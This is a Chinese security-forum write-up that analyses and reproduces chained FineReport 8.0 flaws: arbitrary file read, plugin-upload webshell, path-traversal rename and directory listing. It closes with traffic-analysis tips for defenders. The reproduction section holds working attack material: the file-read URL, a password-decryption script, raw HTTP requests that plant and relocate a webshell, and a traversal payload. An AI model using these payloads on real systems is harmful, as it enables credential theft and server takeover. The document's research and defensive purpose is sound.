问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
帆软报表 V8.0 组合拳漏洞分析及复现
漏洞分析
简要介绍帆软FineReport 8.0版本中的组合拳漏洞原理和复现过程,并提供在日常流量侧分析时应注意的一些要点。
漏洞简述 ==== FineReport是一款企业级报表设计和数据可视化软件,纯Java编写的企业级web报表工具。它提供了强大的报表设计、数据分析和数据可视化功能,旨在帮助企业用户轻松地创建高质量的报表和数据分析图表。 **组合拳漏洞** 1. 帆软报表 v8.0 任意文件读取漏洞(CNVD-2018-04757) 2. 帆软后台插件上传webshell漏洞 3. 帆软目录遍历漏洞 **影响版本** FineReport < 8.0 漏洞原理 ==== 1. 文件读取-WebReport/WEB-INF/lib/fr-platform-8.0.jar ------------------------------------------------- > 总结:直接对`resourcepath`请求参数值进行`readResource()`资源读取,没有对`resourcepath`请求参数值进行安全校验过滤,导致可以获取敏感文件内容 位于`com.fr.chart.web.ChartGetFileContentAction#actionCMD`,读取过程:获取`resourcepath`请求参数值,并通过`readResource()`读取文件资源,简单替换Unicode字符'\\ufeff'后则输出至HTTP响应体中 ```php public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception { // 获取名为"resourcepath"的HTTP请求参数,并解码为字符串 String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath")); // 根据解码后的资源路径,读取文件资源的输入流 InputStream var5 = FRContext.getCurrentEnv().readResource(var4); // 将文件资源的输入流转换为字符串 String var6 = IOUtils.inputStream2String(var5); // 替换字符串中的Unicode字符'\ufeff'(BOM字符)为空格字符 var6 = var6.replace('\ufeff', ' '); // 将处理后的字符串作为HTTP响应输出 WebUtils.printAsString(var2, var6); } public String getCMD() { return "get_geo_json"; } } ``` 跟进`cjkDecode()`,查看获取`resourcepath`参数值过程:只检测是否为空后者是否包含 CJK 编码字符,不为空和包含CJK 编码字符则直接读取,没有做其它安全校验 ```php public static String cjkDecode(String var0) throws Exception { // 如果输入字符串为null,则返回空字符串 if (var0 == null) { return ""; } // 如果输入字符串不包含 CJK 编码字符,则直接返回输入字符串 else if (!isCJKEncoded(var0)) { return var0; } else { StringBuilder var1 = new StringBuilder(); // 遍历输入字符串的每个字符 for (int var2 = 0; var2 < var0.length(); ++var2) { char var3 = var0.charAt(var2); // 如果当前字符是'[',则说明可能是 CJK 编码字符 if (var3 == '[') { int var4 = var0.indexOf(']', var2 + 1); if (var4 > var2 + 1) { String var5 = var0.substring(var2 + 1, var4); if (var5.length() > 0) { var3 = (char) Integer.parseInt(var5, 16); } // 更新遍历位置 var2 = var4; } } var1.append(var3); } // 返回解码后的字符串 return var1.toString(); } } ``` 跟进`readResource()`,查看读取资源过程:直接读取,没有做其它安全校验 ```php InputStream readResource(String var1) throws Exception; ``` 2. 插件上传-WebReport/WEB-INF/lib/fr-platform-8.0.jar ------------------------------------------------- > 总结:通过插件功能上传后的zip文件,在插件安装或者更新的过程中会自动解压缩至/tmp路径下,由于在解压过程中没有对zip压缩包里的文件进行安全校验,从而导致jsp文件可以被解压至本地;同时还存在文件重命名功能,可通过重命名功能移动文件路径,从而导致getshell 插件管理功能,位于`com.fr.chart.web.ChartGetFileContentAction`,找到本地安装插件`InstallFromDiskAction()`和本地升级插件`UpdateFromDiskAction()`对象 ```php private static ActionNoSessionCMD[] actions = new ActionNoSessionCMD[]{ // 定义一系列ActionNoSessionCMD对象数组 ...... new InstallFromDiskAction(), // 本地安装:local_install new InstallOnlineAction(), new InstallDependenceOnlineAction(), new UpdateFromDiskAction(), // 本地升级:local_update ...... }; ``` ### 插件本地安装-local\_install 跟进`InstallFromDiskAction()`,查看本地安装插件过程:读取`WebHelper.DOWNLOAD_PATH (/cache)`中获取要更新的插件文件`temp.zip`,初次存储路径为:`/cache/temp.zip` ```php public class InstallFromDiskAction extends ActionNoSessionCMD { public InstallFromDiskAction() { } // 重写父类的方法,执行安装插件的动作 public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception { PrintWriter var3 = WebUtils.createPrintWriter(var2); JSONObject var4 = JSONObject.create(); // 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip) File var5 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip"); try { // 调用 WebHelper 类的 installFromDisk 方法进行插件安装 WebHelper.installFromDisk(var5); // 插件安装成功,返回状态为 "success" var4.put("status", "success"); var3.println(var4); } catch (PluginDependenceException var11) { // 插件依赖异常,返回相关错误信息 double var7 = (double) var11.getPluginLength() / Math.pow(10.0, 6.0); String var9 = String.format("%.2f", var7); String var10 = var11.getPluginID(); var4.put("status", "failed").put("message", "dependence").put("dependenceLength", var9).put("pluginID", var10); var3.println(var4); } catch (Exception var12) { // 其他异常,返回异常信息 var4.put("status", "failed").put("message", var12.getMessage()); var3.println(var4); } // 刷新输出流,并关闭输出流 var3.flush(); var3.close(); } public String getCMD() { return "local_install"; } } ``` 跟进`installFromDisk()`,查看安装插件过程:读取插件文件并安装 ```php public static void installFromDisk(File var0) throws Exception { // 读取插件文件,解析为 Plugin 对象 Plugin var1 = readPlugin(var0); // 安装插件,将 Plugin 对象安装到当前环境(FRContext)中 installPluginFromUnzippedDir(FRContext.getCurrentEnv(), var1); } ``` 跟进`readPlugin()`,查看读取插件过程:删除`TEMP_PATH(/tmp)`目录的所有文件,再将`/cache/temp.zip` 将解压至 `/tmp`目录下,在解压过程中没有`temp.zip`里的文件进行安全校验 ```php public class WebHelper { private static final String TEMP_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/tmp"}); public static final String DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache"}); public static final String DEPENDENCE_DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache/dependence"}); public static final String TEMP_FILE = "temp.zip"; ....... public static Plugin readPlugin(File var0) throws Exception { // 删除临时路径下的所有文件(TEMP_PATH:/tmp) StableUtils.deleteFile(new File(TEMP_PATH)); // 解压 var0 (temp.zip)文件到临时路径(TEMP_PATH :/tmp),即 /cache/temp.zip 将解压至 /tmp目录下 IOUtils.unzip(var0, TEMP_PATH); // 从临时路径中读取插件信息,并返回读取的插件对象 return readPluginFormTemp(); ...... } ``` ### 插件本地更新-local\_update 跟进`UpdateFromDiskAction()`,查看本地更新插件过程:读取`WebHelper.DOWNLOAD_PATH (/cache)`中获取要更新的插件文件`temp.zip`,初次存储路径为:`/cache/temp.zip`,跟进`readPlugin()`,和本地上传功能(local\_install)的读取插件过程一致:在解压过程中没有`temp.zip`里的文件进行安全校验 ```php public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception { PrintWriter var3 = WebUtils.createPrintWriter(var2); // 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip) File var4 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip"); // 调用 updateFromDisk 方法来更新插件 this.updateFromDisk(var4, var3); // 刷新并关闭 PrintWriter 对象,将数据写入 HTTP 响应 var3.flush(); var3.close(); } private void updateFromDisk(File var1, PrintWriter var2) throws JSONException { JSONObject var3 = JSONObject.create(); try { // 从文件 var1 (temp.zip)中读取插件信息 Plugin var4 = WebHelper.readPlugin(var1); // 检查插件信息是否有效,如果无效则返回错误信息 if (var4 == null) { var3.put("status", "failed").put("message", Inter.getLocText("FS-Msg-Invalid_Plugin_Zip_File")); var2.println(var3); return; } ........... } public String getCMD() { return "local_update"; } ``` ### 文件重命名-manual\_backup 找到文件重命名功能,位于`com.fr.fs.web.service.ServerConfigManualBackupAction`,查看文件重命名过程:将源文件`oldname`重命名为目的文件`newname`,通过`renameTo()`进行重命名操作,没有其它安全校验 ```php public class ServerConfigManualBackupAction extends ActionNoSessionCMD { ...... public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception { // 获取路径信息 String var3 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "finedb"}); String var4 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "resources"}); String var5 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "frbak"}); String var6 = WebUtils.getHTTPRequestParameter(var1, "optype"); String var7; // 根据操作类型进行不同的处理 if (ComparatorUtils.equals(var6, "back_up")) { // 备份服务器配置文件 ...... } else if (ComparatorUtils.equals(var6, "edit_backup")) { // 编辑备份的文件名 // WebUtils.getHTTPRequestParameter 方法分别获取旧的备份文件名 oldname 和新的备份文件名 newname var7 = WebUtils.getHTTPRequestParameter(var1, "oldname"); String var8 = WebUtils.getHTTPRequestParameter(var1, "newname"); // 根据获取到的文件名,构建对应的 File 对象: File var9 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var7})); // oldname File var10 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var8})); // newname // renameTo方法,将源文件(oldname)重命名为目标文件(newname) if (!var9.renameTo(var10)) { FRLogger.getLogger().error("rename backup error."); } } else if (ComparatorUtils.equals(var6, "list_backup")) { // 列出备份的文件列表 ...... } else { FRLogger.getLogger().error("error manual_backup operation type!"); } } ...... public String getCMD() { return "manual_backup"; } } ``` 跟进`renameTo()`,查看重命名过程:只校验源/目标文件是否有写的权限 ```php public boolean renameTo(File dest) { // 获取安全管理器实例 SecurityManager security = System.getSecurityManager(); // 如果安全管理器不为空,则进行安全检查 if (security != null) { // 检查当前文件是否有写权限 security.checkWrite(path); // 检查目标文件是否有写权限 security.checkWrite(dest.path); } // 如果目标文件为空,则抛出空指针异常 if (dest == null) { throw new NullPointerException(); } // 检查当前文件或目标文件是否无效(无效的文件通常是由于文件路径不正确或文件不存在等原因导致) // 如果当前文件或目标文件无效,则返回 false 表示重命名失败 if (this.isInvalid() || dest.isInvalid()) { return false; } // 调用底层文件系统的重命名方法,并返回结果 return fs.rename(this, dest); } ``` 3. 目录遍历-WebReport/lib/fr-designer-core-8.0.jar ---------------------------------------------- > 总结:匹配正确的HTTP请求参数值(`op=fs_remote_design&cmd=design_list_file&file_path=xxxx¤tUserName=xx¤tUserId=1&isWebReport=true`),响应码为200,file\_path目录存在,即可加载目录内容,由于在加载目录过程中没有进行安全校验,只要输入具体路径或者默认路径,都可以读取对应的目录内容 找到目录遍历功能,位于`com.fr.env.RemoteEnv`,搜索关键字`design_list_file`定位,查看目录遍历过程:匹配HTTP请求参数(`op=fs_remote_design`、`cmd=design_list_file`、`file_path=xxx`、`currentUserName=xxx`、`currentUserId=1`、`isWebReport=true`)后创建一个HttpClient实例,通过`**execute4InputStream()`执行HTTP请求并获取响应内容 `currentUserName`参数:`getUser()`和`currentUserId`参数:`createUserID()`,均没有进行安全校验 ```php private FileNode[] listFile(String var1, boolean var2) throws Exception { // 创建一个HashMap用于存储HTTP请求的参数 HashMap<String, String> var4 = new HashMap<>(); var4.put("op", "fs_remote_design"); var4.put("cmd", "design_list_file"); var4.put("file_path", var1); var4.put("currentUserName", this.getUser()); // getUser() var4.put("currentUserId", this.createUserID()); // createUserID() var4.put("isWebReport", var2 ? "true" : "false"); // isWebReport // 创建一个HttpClient实例并设置HTTP请求的方法和参数 HttpClient var5 = this.createHttpMethod(var4); // 执行HTTP请求并获取响应的输入流 ByteArrayInputStream var6 = this.execute4InputStream(var5); // 如果响应输入流为空,返回一个空的FileNode数组 if (var6 == null) { return new FileNode[0]; } else { FileNode[] var3 = DavXMLUtils.readXMLFileNodes(var6); ArrayList<FileNode> var7 = new ArrayList<>(); for (int var8 = 0; var8 < var3.length; ++var8) { var7.add(var3[var8]); } FileNode[] var10 = new FileNode[var7.size()]; for (int var9 = 0; var9 < var7.size(); ++var9) { var10[var9] = var7.get(var9); } return var10; } } public String getUser() { return this.user; // 直接读取user名:currentUserName,不做校验 } private String createUserID() throws EnvException { if (this.userID == null) { ...... } else { return this.userID; // 直接读取user名:currentUserName,不做校验 } } ``` 跟进`execute4InputStream()`,查看执行HTTP请求并获取响应内容过程:获取响应码,如果响应码为200,将正常执行HTTPHTTP请求,并获取响应内容,没有进行其它安全校验。因此,只要`file_path`路径存在,就能正常请求资源返回目录内容 ```php private ByteArrayInputStream execute4InputStream(HttpClient var1) throws Exception { // 设置HTTPS请求的信任存储和密码 this.setHttpsParas(); try { // 获取HTTP响应的状态码 int var2 = var1.getResponseCode(); if (var2 != 200) { // 如果状态码不是200,抛出EnvException异常,表示请求失败 throw new EnvException("Method failed: " + var2); } } catch (Exception var25) { // 捕获异常,并记录连接重置的日志信息 FRContext.getLogger().info("Connection reset "); } // 获取HTTP响应的输入流 InputStream var27 = var1.getResponseStream(); if (var27 == null) { // 如果输入流为空,返回null return null; } else { // 创建一个ByteArrayOutputStream,用于将HTTP响应的数据写入内存中 ByteArrayOutputStream var3 = new ByteArrayOutputStream(); boolean var20 = false; ByteArrayInputStream var6; label162: { label163: { try { var20 = true; Utils.copyBinaryTo(var27, var3); // 将输入流(var27)中的二进制数据复制到输出流(var3) byte[] var4 = var3.toByteArray(); // String var5 = new String(var4, "UTF-8"); ....... // 创建一个ByteArrayInputStream,用于将响应内容作为输入流返回 var6 = new ByteArrayInputStream(var4); var20 = false; } finally { if (var20) { // 在处理完HTTP响应后,关闭相关资源 synchronized(this) { var27.close(); var3.close(); var1.release(); } } } } } ``` 漏洞复现 ==== 1. 任意文件读取漏洞 ----------- 访问`http://192.168.6.140:8080/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml`,虽然显示空白,但右击查看网页源代码,可以发现账号密码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-11f01912b3a90473e0a44529211a4ffa9a2f482b.png) 使用密码解密脚本(源于<https://mp.weixin.qq.com/s/ae8A8PGJCtr6uS11dRpzcw>)`finereport.py` ```php cipher = '\_\_\_0061002100780060005500e70018' #密文 PASSWORD\_MASK\_ARRAY = \[19, 78, 10, 15, 100, 213, 43, 23\] #掩码 Password = "" cipher = cipher\[3:\] #截断三位后 for i in range(int(len(cipher) / 4)): c1 = int("0x" + cipher\[i \* 4:(i + 1) \* 4\], 16) c2 = c1 ^ PASSWORD\_MASK\_ARRAY\[i % 8\] Password = Password + chr(c2) print (Password) ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-9c0d348d210f3a5f58138c46226959358de0e38b.png) 使用账号密码成功登录并跳转到系统首页`http://192.168.6.140:8080/WebReport/ReportServer?op=fs` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-c8e3ff0ba52e368b43fbd29b1f1f03565e4c57fd.png) 2. 插件上传webshell漏洞 ----------------- ### 上传webshell #### 方式1:local\_install本地安装功能上传webshell 点击管理系统-插件管理板块,选择本地安装,路径为`http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_install`,将`name="file"`修改为 `name="install-from-disk"`进行安装,虽然响应体返回无效zip,但仍是成功上传,并自动解压至`WEB-INF/tmp`目录 ```php POST /WebReport/ReportServer?op=plugin&cmd=local\_install HTTP/1.1 Host: 192.168.6.140:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Content-Type: multipart/form-data; boundary=---------------------------43396694042741433502589989449 Content-Length: 1014 Origin: http://192.168.6.140:8080 Connection: close Referer: http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=init Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false Upgrade-Insecure-Requests: 1 \-----------------------------43396694042741433502589989449 Content-Disposition: form-data; name="install-from-disk"; filename="plugin-com.fr.plugin.reportfit.zip" Content-Type: application/x-zip-compressed PK;;4 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-1b94d6c6d2dd7b694301a6a24c5fa41f2e529eb3.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-7ff1caee459e56f21b0d32845fcd08f4fb2672e6.png) #### 方式2:local\_update本地更新功能上传webshell 选择本地更新插件上传zip压缩包,路径为`http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_update`,与local\_install本地安装过程同理,最后自动解压至`WEB-INF/tmp`目录 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-35afff9ddd7ccd0ab6947ff59cd10e2b8ab0501e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-58199d40d7a359b2bf71598c65afa130d477f1eb.png) ### manual\_backup重命名文件 将`/WebReport/WEB-INF/tmp/go401-pass-rodenty-raw.jsp`移动至`/WebReport`目录,并重命名为`1.jsp` ```php POST /WebReport/ReportServer?op=fr\_server&cmd=manual\_backup HTTP/1.1 Host: 192.168.6.140:8080 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Connection: close Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false Upgrade-Insecure-Requests: 1 Content-Length: 97 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 optype=edit\_backup&oldname=../../../WEB-INF/tmp/go401-pass-rodenty-raw.jsp&newname=../../../1.jsp ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-bb41a61fd4e114f5dc85957144f41f7000723bee.png) ### 连接webshell 访问<http://192.168.6.140:8080/WebReport/1.jsp>,回显空白页面,确认文件存在 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-98d38673bfd21adcefeed93f9167347605afced4.png) 用Godzilla工具成功连接webshell ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-f3263f0fde6b784d1881db7a15a8004c80541b85.png) 3. 目录遍历漏洞 --------- 构造payload:`http://192.168.6.140:8080/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../WebReport/WEB-INF/tmp¤tUserName=admin¤tUserId=1&isWebReport=true`,成功读取`../WebReport/WEB-INF/tmp`目录的所有文件 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-acdf406d9c599620d2ed55bc4a6f77adfb618677.png) 流量侧排查小tips ========== 正确登录页面 ------ 访问`http://192.168.6.140:8080/WebReport/ReportServer`,是个部署页面 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-c7c7b9fb2ac38d4053bd4364554cadade17d8ac5.png) 点击数据决策系统,跳转到`http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453`登录页面 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-721ddf78b7f39fa5c550d9b1ce994075afe16819.png) 因此输入完账密后,是通过`http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=login`进行POST数据跳转,但并非是真实登录页面,真实登录页面应该是`http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453` ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-a03cb44517486a6f4cbeb9d64c6234c1d289d13e.png) 插件自动加载流量 -------- 点击管理系统-插件管理板块,将会自动跳转至`http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=war`等路径,将自动加载`&cmd=war/plugin_url_prefix/init`等路径,并非人工手动加载 ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-18e33b75b85bcf7e003bfdee1a9022a7cd29de28.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2023/07/attach-3fe3b6a5c756dbef5a42f88326b872382522225e.png) 参考链接 ==== <https://baijiahao.baidu.com/s?id=1652854781223869222> <https://baijiahao.baidu.com/s?id=1652903285090947235> <https://mp.weixin.qq.com/s/VBy6tgUCkoYEliOkSeOnRA> <https://mp.weixin.qq.com/s/ae8A8PGJCtr6uS11dRpzcw>
发表于 2023-11-06 09:00:01
阅读 ( 18261 )
分类:
漏洞分析
0 推荐
收藏
0 条评论
请先
登录
后评论
Rodentyoo
1 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!